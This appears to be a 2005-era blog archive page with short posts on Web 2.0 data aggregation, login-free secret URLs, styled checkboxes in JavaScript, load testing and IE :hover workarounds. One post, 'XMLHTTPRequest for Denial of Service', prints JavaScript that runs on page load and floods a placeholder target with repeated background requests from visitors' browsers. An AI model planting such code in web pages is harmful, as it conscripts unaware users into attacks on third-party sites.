Throwing around data like it was water

An interesting article about ‘Web 2’. A bit buzzwordy, but it’s point is valid – the web is moving away from a book based ‘page’ paradigm towards a ‘data aggregation’ one. Instead of visiting specific pages, grab the data you need and put it onto one.

It’s interesting, and exciting, and although user discomfort with change will slow it down, we’d best be ready for it.

Throwing around data like it was water

No Logins…

What an interesting idea – no login/passwords, just a hard to quess URL. Provided that there’s nothing very valuable there, this seems a simple way of giving adequate security for some things – such as the invites app mentioned. I like it.

Comments from my old blog:

What about Search Engine’s spidering it? Of course you’ll want to include a <META NAME=”ROBOTS” CONTENT=”NOINDEX, NOFOLLOW”>, but even then, I’ve read that certain search engines like askjeeves.com IGNORE those tags.

Brandon@Cstone

By Brandon@Cstone at 04:12:01 Thursday 29th September 2005

Well, I guess as you say it’ll have to be for urls that aren’t linked to anywhere. The URL itself is sent out by email in the example. That’s my guess anyway.

By Andy at 21:43:46 Saturday 19th November 2005

No Logins…

Styling Checkboxes with JavaScript

I’ve been reading recently about how to do Styled Checkboxes. Well, this was something I was working on too – and naturally, I like my way more.

How it works
When the page loads, the JavaScript in checkbox.js checks all of the INPUT tags on the page. If they are a checkbox, and have BOTH and imgOn and an imgOff, then the INPUT tag has its style set to hidden, and the appropriate images are added to the DOM. They’re floating, though, and so are positioned where the checkbox was on the page.

When you click on one, it changes the state of the underlying checkbox (it’s still there, just hidden), and displays the image appropriate for that state.

When the form is submitted, the checkbox is submitted as normal.

As a user leaves the page, on unload the code in checkbox.js tries to tidy up after itself, although I’m a little concerned about memory leaks after some interesting articles I read recently.

Known Issues

  • These controls are not part of the tabindex. My friend Bruce Sandeman has been working on a version of this where the images are ‘tabable’, but is struggling to turn the border of the images off. I’ve included the code anyway – see checkbox2.js. I’ve not reviewed it yet, so user beware!
  • It’d be nice to hand all events on to the original checkbox for handling.
  • At the least, some sort of mouseover/mouseout? It’s not so obvious that these are checkboxes, at least with the demo images I’ve chosen.
  • I’m a little concerned about memory leaks given some things I’ve read recently and my use of closures. If anyone knows how to prove/prevent any leaks, let me know, that would be cool

How to Use

Real tricky this – include the checkbox.js file in your HTML page.
<script src="checkbox.js"></script>
Then, in the HTML for each of your checkboxes, add two new attributes – ‘imgOn’ and ‘imgOff’. The value of these attributes should be the path to the images you want to use for the checked (‘on’) and unchecked (‘off’) states.

<input type="checkbox" value='2' imgOn='tick.gif' imgOff='cross.gif' />

and with luck, that should be you done.

See the code below: Continue reading “Styling Checkboxes with JavaScript”

Styling Checkboxes with JavaScript

XMLHTTPRequest for Denial of Service

Maybe the XMLHTTPRequest handler isn’t such a good idea…

Right, so I was thinking about the XMLHTTPRequest handler. Well, okay, actually, I was thinking of Sandra Bullock, and this idea popped into my head…

You can use XMLHTTPRequests to make requests of a web server. Fair enough. And you can make requests of another site – check. And you can make many of them on one page – yup. And finally, you don’t have to do anything with the response – you see where I’m going with this yet?

Assume you have a function for creating XMLHTTPRequest objects. Consider the following:
var urlTarget = 'www.example.com'; // The site we want to DOS
var aStack = array();

function fnHTTP (oHTTP) {
return function () {
if (oHTTP.readyState == 3) {
oHTTP.open("GET", urlTarget, true);
oHTTP.send(null);
}
}
}

function setupDOS () {
for (i=0; i<100; i++ ) {

oHTTP = GetXMLHTTPRequest();
oHTTP.open("GET", urlTarget, true);
oHTTP.onreadystatechange = fnHTTP(oHTTP);
oHTTP.send(null);

aStack.push( oHTTP );
}
}

window.onload = setupDOS;
So, a user goes to a page. In the background, after they’ve loaded the page, JavaScript is creating a whole load of XMLHTTPRequest objects, and then using these to make requests of a target site. And as each object gets serviced, it makes another request. Continue reading “XMLHTTPRequest for Denial of Service”

XMLHTTPRequest for Denial of Service

Testing Programmes and Statistics

“Programmers Need To Learn Statistics Or I Will Kill Them All” – an article about statistic and programme testing. You know, load testing and all that jazz that you know you’re supposed to do.

Recently I was tasked with doing a heap of load testing, and we had all sorts of problems – all related, really, to confounding. I didn’t (and don’t) feel I know enough to design a load test, and the tools we were using were, well, limited. It’s interesting to note that I came to the same conclusion – that the data throughput was the most important metric.

However, the reason all these things talk about the number of users isn’t because programmers want it – rather, management and customers want to know how many users will it support. Telling them that you got an average data throughput of whatever is a better measure, but it doesn’t really mean anything to them – whereas could support 25 concurrent users does.

Testing Programmes and Statistics

How to use :hover on more than just links…

Peterned has a good idea for getting the :Hover of an element to work properly – use HTC files.

Good browsers (Mozilla, Opera and the like) allow you do define a style for hovering over, well, nearly any item. Naturally, Internet Explorer only supports a:hover – that is, hover for anchor tags. This sucks, and Peterned has written an HTC file that will, if the client is IE, rewrite the styles dynamically and assign the appropriate functionality to them.

Pretty cool.

How to use :hover on more than just links…